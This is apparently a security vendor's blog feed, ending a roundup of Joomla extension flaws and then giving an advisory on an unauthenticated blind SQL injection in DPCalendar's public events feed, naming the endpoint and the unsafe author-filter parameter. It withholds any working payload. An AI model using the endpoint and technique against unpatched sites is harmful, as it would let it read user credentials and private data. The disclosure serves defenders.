&lt;li&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to our announcement list&lt;/a&gt; so alerts like these reach you the moment they are public, instead of finding out from the news or, worse, from your logs&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-06-15&lt;/strong&gt; Two zero days in one week, both already being exploited iCagenda&apos;s unauthenticated upload and SP Page Builder&apos;s asset.uploadCustomIcon, found in live access logs rather than in a lab. JoomliC fixed iCagenda the same day; SP Page Builder was being used to plant hidden Super Admins.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-27&lt;/strong&gt; PageBuilder CK 3.6.0, exploited within hours of the fix Our suspect content tool flags a live web shell on a connected site the same day the release shipped, planted through the flaw the release closed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-07&lt;/strong&gt; CISA adds two of our findings to the Known Exploited Vulnerabilities catalog CVE-2026-56290 in PageBuilder CK and CVE-2026-48908 in SP Page Builder, with a federal patch deadline of 10 July.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-09&lt;/strong&gt; The vendor response run: seven fixes in a week Balbooa Forms 2.4.1, then RSFiles! 1.17.12 and Phoca Download 6.1.3, AcyMailing 10.11.1, DPCalendar 10.11.2 inside 24 hours of the report, EDocman 3.9.0 and Quix 6.2.1 the same day it was reported. Most vendors moved fast once shown the code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-10&lt;/strong&gt; CISA adds two more, and both are ours CVE-2026-48939 in iCagenda and CVE-2026-56291 in Balbooa Forms, federal patch deadline 13 July. Four of our findings on the KEV catalog inside four days.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-13&lt;/strong&gt; We publish the roundup at nineteen findings Nineteen in five weeks reads as alarming stacked in one table, until you put it beside the WordPress feed, which regularly lists fifty or more new plugin vulnerabilities in a single day.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-25&lt;/strong&gt; The run did not stop Fabrik 4.7.2 closing a long list of unauthenticated flaws, ZOO needing three releases in three days for a CVSS 10.0 upload, and four YOOtheme Pro flaws backported to the Joomla 3 branch. The table below is kept current rather than frozen at nineteen.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-hack-four-months-on/&quot;&gt;The JCE hack, four months on&lt;/a&gt; - the attack that set this whole run of disclosures off, still live four months later&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why public AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the pattern behind almost all of these&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;Our AcyMailing SQL injection disclosure&lt;/a&gt; - the same class of bug we found across several extensions this month&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla! Security Centre&lt;/a&gt; and the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&quot;&gt;CISA Known Exploited Vulnerabilities catalog&lt;/a&gt; - four of these are on it, added in a single week&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.github.io/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;OWASP: Unrestricted File Upload&lt;/a&gt; and &lt;a href=&quot;https://owasp.github.io/www-community/attacks/SQL_Injection&quot;&gt;SQL Injection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;How mySites.guru mass-updates extensions across every site&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Find every site running a vulnerable extension&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud patched the login, then the data&lt;/a&gt; - two access control flaws in a Joomla file storage extension, and what AI-assisted development does to a security fix&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>responsible disclosure</category><category>cve</category><enclosure url="https://mysites.guru/img/og/blog/a-month-of-joomla-security-disclosures.png" length="0" type="image/png"/></item><item><title>Unauthenticated SQL Injection in DPCalendar found by mySites.guru</title><link>https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/</guid><description>mySites.guru found and reported an unauthenticated SQL injection in the DPCalendar Joomla extension&apos;s public events feed. Fixed in 10.11.2 and 8.19.4.</description><pubDate>Mon, 13 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;Updated 27 August: DPCalendar 10.12.0 is out, and it fixes two further issues&lt;/p&gt;
  &lt;p&gt;Digital Peak released &lt;strong&gt;10.12.0&lt;/strong&gt; and &lt;strong&gt;8.19.5&lt;/strong&gt; on 27 August 2026, closing a blind SQL injection and a stored cross-site scripting flaw reported by an independent researcher. Those are separate from the flaw described below, and both need an authenticated user rather than an anonymous one. The fix on this page is still the one to apply first if you are running anything older, because this flaw needed no login at all. See &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-order-by-sqli-location-xss/&quot;&gt;our breakdown of the 10.12.0 release&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://www.digital-peak.com/&quot;&gt;DPCalendar&lt;/a&gt; is one of the most widely installed calendar and events components for Joomla, chosen for mature, professionally run sites right up to the highest levels of the Joomla world itself. During routine security research on the extensions our customers rely on, &lt;strong&gt;mySites.guru discovered an unauthenticated SQL injection vulnerability in DPCalendar, and reported it to the developers before disclosing anything publicly.&lt;/strong&gt; The fix is now available in &lt;a href=&quot;https://joomla.digital-peak.com/blog/2026-security-issue-in-dpcalendar&quot;&gt;Digital Peak’s security release&lt;/a&gt;: DPCalendar &lt;strong&gt;10.11.2&lt;/strong&gt; for Joomla 4.4.4 to 6.x, and &lt;strong&gt;8.19.4&lt;/strong&gt; for the Joomla 3 branch.&lt;/p&gt;
&lt;p&gt;If you run DPCalendar on any Joomla site, update to 10.11.2 now (or 8.19.4 if you are still on Joomla 3). If you manage more than a handful of sites, read on for how to find every affected one at once.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found an &lt;strong&gt;unauthenticated SQL injection&lt;/strong&gt; in DPCalendar and reported it to the vendor&lt;/li&gt;
&lt;li&gt;The flaw dates back to DPCalendar &lt;strong&gt;8.18.0&lt;/strong&gt; and is present in every release since, on both the current line and the Joomla 3 branch, across all editions (Free, Pro, Business); fixed in &lt;strong&gt;10.11.2&lt;/strong&gt; (Joomla 4.4.4 to 6.x) and &lt;strong&gt;8.19.4&lt;/strong&gt; (Joomla 3)&lt;/li&gt;
&lt;li&gt;The public front-end events feed placed an &lt;strong&gt;author filter parameter straight into a database query&lt;/strong&gt; without turning it into a number, so an &lt;strong&gt;anonymous visitor could read data from any table&lt;/strong&gt;: user accounts, password hashes, the site secrets from any database table such as draft content, API keys, personal data, ecommerce orders - everything in the database!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to DPCalendar 10.11.2 immediately&lt;/strong&gt; (or 8.19.4 if you are still on Joomla 3)&lt;/li&gt;
&lt;li&gt;We score it &lt;strong&gt;CVSS 4.0 8.7 (High)&lt;/strong&gt;, and Digital Peak’s own advisory rates it High too. It is tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57831/&quot;&gt;CVE-2026-57831&lt;/a&gt;, assigned through the Joomla CNA&lt;/li&gt;
&lt;li&gt;Credit to Digital Peak: they shipped the fix within 24 hours, over a holiday break, and publicly credited us for the find&lt;/li&gt;
&lt;li&gt;mySites.guru already flags every connected Joomla site still running a vulnerable version, so you do not have to check each site by hand&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru discovered this security issue and reported it to Digital Peak before publishing details. We withheld the exact request and any proof-of-concept until a fix was available and site owners had a reasonable window to update. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What is the vulnerability?&lt;/h2&gt;
&lt;p&gt;DPCalendar exposes a front-end events feed that anonymous visitors can reach without logging in. It is the same feed the calendar itself uses to draw events, reached at &lt;code&gt;index.php?option=com_dpcalendar&amp;amp;view=events&amp;amp;format=raw&lt;/code&gt;. That feed accepts an author filter, &lt;code&gt;filter_created_by&lt;/code&gt;, and when it is supplied as a plain value the extension placed it into the events query &lt;strong&gt;without casting it to an integer first&lt;/strong&gt;, the textbook shape of a &lt;a href=&quot;https://owasp.github.io/www-community/attacks/SQL_Injection&quot;&gt;SQL injection&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Joomla’s standard text filter, which the extension applied to that parameter, strips HTML but does nothing to neutralise SQL syntax. Quotes, parentheses and keywords all pass through untouched. It is the same &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;public-endpoint-meets-unchecked-input pattern&lt;/a&gt; behind a long run of recent Joomla extension vulnerabilities.&lt;/p&gt;
&lt;p&gt;So an attacker could supply a crafted author filter that turned the query into one reading from any table in the Joomla database, and infer the result from the response. No account needed, no CSRF token, nothing stolen first.&lt;/p&gt;
&lt;p&gt;In practice that means an unauthenticated attacker could read:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Joomla user accounts, including usernames and password hashes&lt;/li&gt;
&lt;li&gt;The Joomla configuration secret and other stored data&lt;/li&gt;
&lt;li&gt;Event, content and extension data&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We are not publishing the exact request or a working proof-of-concept. The point of this post is to get people updated, not to hand attackers a recipe.&lt;/p&gt;
&lt;h2&gt;It is a blind injection, and that still means full database read&lt;/h2&gt;
&lt;p&gt;There are two broad flavours of SQL injection. In the loud kind, the query result comes straight back in the page, and an attacker dumps a table in one request. This one is the quieter kind: a &lt;strong&gt;blind&lt;/strong&gt; injection. The response does not print the data. Instead, the attacker asks the database true-or-false questions one at a time (is the first character of the admin hash greater than &lt;code&gt;m&lt;/code&gt;?) and reads the answer from whether the events feed changes.&lt;/p&gt;
&lt;p&gt;Do not let “blind” read as “limited”. Blind injection is slower to exploit, not smaller in what it exposes. Automated tooling walks a database out one bit at a time in seconds of wall-clock. The end state is identical to the loud kind: the full contents of every table an anonymous request can reach, including the credentials table. Blind is a throughput detail for the attacker, not a safety margin for you.&lt;/p&gt;
&lt;p&gt;If you have not met blind SQL injection before, here is a short explainer from Indusface that walks through the exact mechanics described above. Yes, it is someone else’s video. Just like we always do, copying things from other people all the time:&lt;/p&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;h2&gt;One character per request is not a safety margin&lt;/h2&gt;
&lt;p&gt;Digital Peak’s advisory is candid about the mechanics, and one point in it is worth addressing directly. It notes that the data comes out “one character per request”, and frames that as making it impractical to pull entire tables. That describes exactly how a blind injection works. It does not describe a limit on the damage.&lt;/p&gt;
&lt;p&gt;The character-at-a-time loop is the definition of blind SQL injection, not a cap on it. Every blind injection ever found has worked this way, and every one has still ended with the full database in the attacker’s hands. The arithmetic is not reassuring: a bcrypt password hash is about sixty characters, a binary search reads each character in roughly seven requests, so a complete Super User hash is a few hundred requests, and a live server answers those in a couple of minutes. “A large number of requests” sounds like friction. At machine speed it is a coffee break.&lt;/p&gt;
&lt;p&gt;The severity does not move with the request count. Whether the database is read in one request or one million, the end state is identical: every user account, every password hash and other Joomla API secrets, all readable by an anonymous visitor. Confidentiality is either intact or it is gone, and after a blind injection it is gone. That is why both we and Digital Peak rate this High rather than shrugging it off with &lt;strong&gt;&amp;lt;sarcasm&amp;gt;This is fine.&amp;lt;/sarcasm&amp;gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;You have never needed AI to weaponise blind SQL injection&lt;/h2&gt;
&lt;p&gt;The advisory also mentions that AI-assisted tools can speed the extraction up. That is true, and it is also beside the point, because the speed-up it describes arrived in 2006, not in the 2020s.&lt;/p&gt;
&lt;p&gt;Fully automated, character-by-character blind SQL injection has been free, off-the-shelf tooling for about twenty years. &lt;a href=&quot;https://sqlmap.org/&quot;&gt;sqlmap&lt;/a&gt;, the standard open-source tool, has automated boolean-based and time-based blind extraction and dumped entire databases since July 2006. Point-and-click extractors put the same power in front of absolute beginners even earlier: Absinthe demonstrated automated blind dumping at Black Hat in 2004, and Havij made it a one-button affair by 2010. The underlying technique was documented publicly by Chris Anley in 2002 and popularised in a dedicated SPI Dynamics whitepaper the following year. All of it predates modern AI by fifteen to twenty years.&lt;/p&gt;
&lt;p&gt;A blind injection a human would find tedious is a single sqlmap command that has been public since before a lot of today’s extension code was even written. AI did not make blind SQL injection practical. sqlmap did that two decades ago. Casting AI as the thing that turns “one character per request” into a real threat gets the timeline backwards.&lt;/p&gt;
&lt;p&gt;Joomla knows this class of bug intimately, and not only from its extensions. Its own core has shipped serious SQL injection flaws, and they did real damage long before anyone had an AI assistant:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;October 2015, &lt;code&gt;com_contenthistory&lt;/code&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2015-7857&quot;&gt;CVE-2015-7857&lt;/a&gt; and related).&lt;/strong&gt; An unauthenticated SQL injection in Joomla core, in every release from 3.2.0 to 3.4.4, let an anonymous attacker steal a live Super User session and take the whole site over. It was error-based rather than blind, and it was being exploited in the wild within 24 hours of the fix, against a component that shipped enabled by default on millions of sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;May 2017, &lt;code&gt;com_fields&lt;/code&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2017-8917&quot;&gt;CVE-2017-8917&lt;/a&gt;).&lt;/strong&gt; An unauthenticated SQL injection in Joomla 3.7.0, through an ORDER BY parameter that public exploits drove both blind and error-based, exposing session tokens and password hashes. It was weaponised with public exploit code within days.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of those needed AI. SQL injection has been fully compromising Joomla sites, core and extensions alike, for well over a decade, with tools any teenager could download for free. The stakes were never raised by AI. They were always this high, and the only reliable answer has always been the same one: update the affected code.&lt;em&gt; Is Not Passive-Aggressive Enough&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;How serious is it?&lt;/h2&gt;
&lt;p&gt;Serious enough that we treated it as a priority disclosure. The two things that decide real-world impact are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Whether the site has a web application firewall that filters SQL.&lt;/strong&gt; Because the payload is literally SQL, a WAF often recognises and blocks it before it reaches DPCalendar. Sites running bare, with no such protection, are the exposed ones.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Whether the calendar has any publicly visible events.&lt;/strong&gt; The blind oracle in this flaw reads against the events the feed returns, so a live, in-use calendar (which is every real one) gives an attacker exactly what they need. An empty calendar has nothing to read against, though that is not a state any working site stays in.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;One more thing worth saying: this is not obscure code running on neglected sites. DPCalendar gets chosen because it is mature and well-regarded, and it runs on some of the most reputable, carefully managed Joomla installations there are, up to and including the Joomla Project’s own official infrastructure. One of the Project’s own &lt;code&gt;joomla.org&lt;/code&gt; sites was itself running an affected version, shielded from this exact flaw only by the web application firewall in front of it, doing the SQL-filtering job described above. That is a double lesson: it shows how trusted and well-regarded DPCalendar is, chosen for Joomla’s own properties, and it shows that being trusted is not the same as being safe. If the Joomla Project itself can be caught running a vulnerable copy of an extension this well-regarded, anyone can. “We only use trusted, well-maintained extensions” is a good instinct, and on its own it is not a defence against a flaw in one of them. The most buttoned-up site in the world is still exposed if it is a version behind on the extension that has the hole.&lt;/p&gt;
&lt;p&gt;A WAF is mitigation, not a fix. The only reliable remedy is to update DPCalendar. Or leave it a version behind and hand your entire database to the first anonymous stranger who asks. Sure. Go ahead. (Or is that &lt;em&gt;Is Not Passive-Aggressive Enough&lt;/em&gt;?)&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This is the case for defence in depth. A SQL-aware firewall in front of a vulnerable extension can catch this class of attack before it reaches the code, buying you time to update. It does not mean you can skip updating. Treat the firewall as the seatbelt and the patch as not crashing the car: you want both.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Would a long, strong .htaccess have protected me against this?&lt;/h2&gt;
&lt;p&gt;Almost certainly not. A big hardened &lt;code&gt;.htaccess&lt;/code&gt; is the security blanket a lot of Joomla owners reach for, and it guards a different kind of attack than this one. The exploit here is an ordinary, allowed request to &lt;code&gt;index.php&lt;/code&gt; (&lt;code&gt;option=com_dpcalendar&amp;amp;view=events&amp;amp;format=raw&lt;/code&gt;), the exact request your &lt;code&gt;.htaccess&lt;/code&gt; exists to let through so the site works at all. The dangerous part is not the URL, it is the SQL hidden inside one query-string value, and a stock &lt;code&gt;.htaccess&lt;/code&gt; never looks there.&lt;/p&gt;
&lt;p&gt;To block this at the &lt;code&gt;.htaccess&lt;/code&gt; layer you would need explicit rules that pattern-match SQL syntax in the query string and return a 403. Hardly anyone runs those, they are brittle, and they tend to block real visitors as often as attackers. Inspecting request input for SQL is really the job of a web application firewall with SQL injection filtering switched on. Even then it only helps if that filtering is actually enabled: a WAF with its SQLi rules turned off, or left in log-only mode, waves this through as happily as no WAF at all. Protection you have to remember to configure is not the same as code that is not vulnerable in the first place.&lt;/p&gt;
&lt;p&gt;The short version applies here directly. Update DPCalendar.&lt;/p&gt;
&lt;h2&gt;Which versions are affected?&lt;/h2&gt;
&lt;p&gt;Digital Peak’s advisory states the flaw has existed since &lt;strong&gt;DPCalendar 8.18.0&lt;/strong&gt;, so every release from 8.18.0 up to the current 10.11.0 is affected, and so is the &lt;strong&gt;Joomla 3 branch&lt;/strong&gt; (&lt;a href=&quot;https://joomla3security.com/vendors/digital-peak/&quot;&gt;the 8.x line still shipped for Joomla 3 sites&lt;/a&gt;). The vulnerable code sits in the component’s shared front-end model, which is identical across editions, so &lt;strong&gt;the Free, Pro and Business editions are all affected&lt;/strong&gt;. This is not a Free-only issue. The fix is in &lt;strong&gt;10.11.2&lt;/strong&gt; for Joomla 4.4.4 to 6.x, and &lt;strong&gt;8.19.4&lt;/strong&gt; for Joomla 3, both casting the author filter to an integer before it reaches the query so a crafted value can no longer change the SQL. If you are on the 9.x line, Digital Peak’s upgrade path is 9.x to 10.0.0, then 10.6.0, then 10.11.2.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;If you run any version of DPCalendar earlier than 10.11.2 (or earlier than 8.19.4 on Joomla 3), on any edition, assume your site is affected and update now. Do not wait to confirm exploitation: by the time you can confirm it, the data is already gone.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Credit where it is due: a fast fix over a holiday&lt;/h2&gt;
&lt;p&gt;We gave Digital Peak the full standard responsible-disclosure window to fix this in their own time. They did not need it. We reported the issue on 12 July; the fix was built, tested and released within 24 hours, over a holiday break while the developer was away, and outside Digital Peak’s normal Thursday release schedule.&lt;/p&gt;
&lt;p&gt;That is a good response, and worth saying out loud. Plenty of vendors sit on a report for weeks. Digital Peak did the opposite, and DPCalendar users are safer for it. They even credited mySites.guru publicly in &lt;a href=&quot;https://joomla.digital-peak.com/blog/2026-security-issue-in-dpcalendar&quot;&gt;their own advisory&lt;/a&gt; and recommended the platform, a gracious touch we did not ask for. Our thanks to Allon Moritz and the Digital Peak team.&lt;/p&gt;
&lt;p&gt;Digital Peak is not the exception this month either. Most of the developers we have responsibly disclosed to during this run have responded the same way: grateful, quick to thank us, and shipping a fix within 24 hours. Only two out of the whole set have not. When a vendor gets this right, it deserves to be said in public as as the flaw itself.&lt;/p&gt;
&lt;p&gt;The right thing for site owners to do in return is simple: apply the update they shipped.&lt;/p&gt;
&lt;h2&gt;SQL injection is a recurring theme right now&lt;/h2&gt;
&lt;p&gt;This DPCalendar flaw is not an isolated find. It is one of several unauthenticated SQL injections we have uncovered in widely used Joomla extensions in a single research run, and they all share one root cause: a public front-end endpoint that takes anonymous request input and hands it to a database query without turning it into a safe value first.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56292/&quot;&gt;CVE-2026-56292&lt;/a&gt;, CVSS 8.7). The same class of unauthenticated SQL injection in one of the most popular newsletter extensions for Joomla, and because it shares a codebase, the WordPress plugin too. Fixed in 10.11.1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;The month of Joomla disclosures&lt;/a&gt;&lt;/strong&gt;. DPCalendar is one entry in a larger run of vulnerabilities we found and reported across popular Joomla extensions in a single month, several of them this exact SQL injection shape.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt;&lt;/strong&gt;. The underlying pattern, and why front-end feeds like DPCalendar’s keep producing this bug.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Two more disclosures from the same research run are still working through coordinated disclosure, redacted until their vendors ship a fix. We will publish each in full the moment it is patched, and add it to the &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;roundup&lt;/a&gt;. Naming an unpatched flaw is just publishing an exploit, so until then we describe only the risk, not the extension.&lt;/p&gt;
&lt;h2&gt;How do you update DPCalendar safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; so you have a clean starting point.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla’s Extensions manager, or in bulk from mySites.guru.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull DPCalendar 10.11.2 (or 8.19.4 if the site still runs Joomla 3). If it does not appear, use Find Updates, or download the latest package from your Digital Peak account and install it over the top. On the older 9.x line, Digital Peak’s upgrade path is 9.x to 10.0.0, then 10.6.0, then 10.11.2. If you manage more than one site, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade DPCalendar across every affected site from a single dashboard&lt;/a&gt;. You can even &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto-updates for any Joomla extension&lt;/a&gt; so the next fix like this reaches your sites without you lifting a finger.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; After updating, open Components, then DPCalendar, and check the version shown is 10.11.2 (or 8.19.4 on Joomla 3) or later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear caches.&lt;/strong&gt; Clear Joomla’s cache and any CDN or page cache so stale front-end assets do not linger.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Updating closes the door. It does not undo any data an attacker may already have read, so if you handle sensitive data and were on a vulnerable version for a long time, treat credentials and any exposed data as potentially known.&lt;/p&gt;
&lt;h2&gt;How do I find every DPCalendar site I manage?&lt;/h2&gt;
&lt;p&gt;The first question after any extension security release is the awkward one: which of my sites actually run this? Up to about ten sites, you can log in to each Joomla admin and check the installed extensions list. Past that, you need a single view.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for DPCalendar once and get back every connected site running it, the version each one is on, and whether an update is available. No logging into forty admin panels one at a time.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every DPCalendar install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for DPCalendar across every connected Joomla site and filter for anything on 10.11.0 or earlier to find the installs that still need updating. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Once you know which sites need it, the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; handles the rollout: tick the sites on an old version, push the update to all of them from one screen.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;For agencies managing dozens of Joomla sites&lt;/p&gt;
  &lt;p&gt;The patch is the easy bit. Knowing which client sites run DPCalendar, and getting the update onto all of them, is the work. &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;See how mySites.guru manages multiple Joomla sites&lt;/a&gt; from one screen.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why calendar and events extensions are a quiet attack surface&lt;/h2&gt;
&lt;p&gt;This is a pattern, not a one-off, and it is why the class of bug matters more than this single instance. Calendar, form and newsletter extensions make attractive targets for the same reason they are useful: they expose front-end endpoints that anonymous visitors are meant to reach. Event listings, subscribe forms, iCal feeds, location lookups, none of that can require a login.&lt;/p&gt;
&lt;p&gt;Every one of those public endpoints is attack surface. When the code behind them trusts request input, or hands it to a database query without escaping or casting, an anonymous visitor becomes an anonymous attacker. We have seen the same class of issue across form builders like &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, page builders like &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt;, template frameworks like &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain&lt;/a&gt;, newsletter tools like &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;, and editors like &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;JCE&lt;/a&gt;: a public task that reaches a dangerous operation with too little checking in between.&lt;/p&gt;
&lt;p&gt;The lesson for site owners is not “avoid calendar extensions”. They are fine, and the reputable ones are well maintained. The lesson is that &lt;strong&gt;keeping them updated is security-critical, not just feature maintenance&lt;/strong&gt;. An extension two versions behind is not a cosmetic problem.&lt;/p&gt;
&lt;h2&gt;Stay Ahead of the Next One&lt;/h2&gt;
&lt;p&gt;This is one extension on one day. There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like this. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does, across every extension on every site you look after.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this DPCalendar flaw is disclosed, you see exactly which sites are exposed in seconds, without opening a single admin panel to check.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Update every Joomla site running DPCalendar to &lt;strong&gt;10.11.2&lt;/strong&gt; or later (or &lt;strong&gt;8.19.4&lt;/strong&gt; on Joomla 3), one at a time or &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;in bulk from one dashboard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, let mySites.guru show you which ones are still exposed rather than checking by hand&lt;/li&gt;
&lt;li&gt;Take a backup before updating, and clear caches afterwards&lt;/li&gt;
